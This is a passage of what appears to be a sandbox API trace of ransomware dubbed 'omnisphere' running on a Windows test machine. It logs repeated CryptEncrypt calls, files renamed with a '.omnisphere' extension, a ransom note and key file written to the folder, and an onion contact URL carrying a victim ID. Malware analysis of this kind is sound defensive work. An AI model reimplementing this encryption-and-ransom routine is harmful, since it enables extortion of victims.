pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.597] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.597] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0126.597] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.597] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.597] GetProcessHeap () returned 0x1600000 [0126.597] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16d6308 [0126.597] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgfhps.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgfhps.lnk.omnisphere")) returned 1 [0126.601] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk.omnisphere.id" [0126.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgfhps.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.602] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.603] CloseHandle (hObject=0x3c0) returned 1 [0126.603] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.603] CloseHandle (hObject=0x288) returned 1 [0126.603] SetEndOfFile (hFile=0x28c) returned 1 [0126.603] FlushFileBuffers (hFile=0x28c) returned 1 [0126.617] CloseHandle (hObject=0x28c) returned 1 [0126.617] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.618] GetProcessHeap () returned 0x1600000 [0126.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.618] GetProcessHeap () returned 0x1600000 [0126.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d56b8 [0126.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d56b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.618] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.618] GetProcessHeap () returned 0x1600000 [0126.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8028 [0126.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8028, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.618] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.618] GetProcessHeap () returned 0x1600000 [0126.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d99b0 [0126.618] PathCombineW (in: pszDest=0x16d99b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.618] GetProcessHeap () returned 0x1600000 [0126.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ce6c0 [0126.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.618] WriteFile (in: hFile=0x28c, lpBuffer=0x16ce6c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ce6c0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.619] CloseHandle (hObject=0x28c) returned 1 [0126.619] GetProcessHeap () returned 0x1600000 [0126.619] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.619] GetProcessHeap () returned 0x1600000 [0126.619] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.619] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.619] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.619] CloseHandle (hObject=0x28c) returned 1 [0126.619] GetProcessHeap () returned 0x1600000 [0126.619] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.619] GetProcessHeap () returned 0x1600000 [0126.619] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b4e8 | out: hHeap=0x1600000) returned 1 [0126.619] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f73acd6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f73acd6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f73acd6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Mgt_K.lnk", cAlternateFileName="")) returned 1 [0126.619] GetProcessHeap () returned 0x1600000 [0126.620] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167bb28 [0126.620] PathCombineW (in: pszDest=0x167bb28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Mgt_K.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk" [0126.620] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgt_k.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.620] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=722) returned 1 [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.620] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] GetTickCount () returned 0x115f98f [0126.621] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0126.621] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0126.622] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.622] CryptDestroyKey (hKey=0x16396a8) returned 1 [0126.622] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0126.622] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d2, lpName=0x0) returned 0x288 [0126.622] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d2) returned 0x1480000 [0126.622] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0126.623] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0126.623] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.623] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 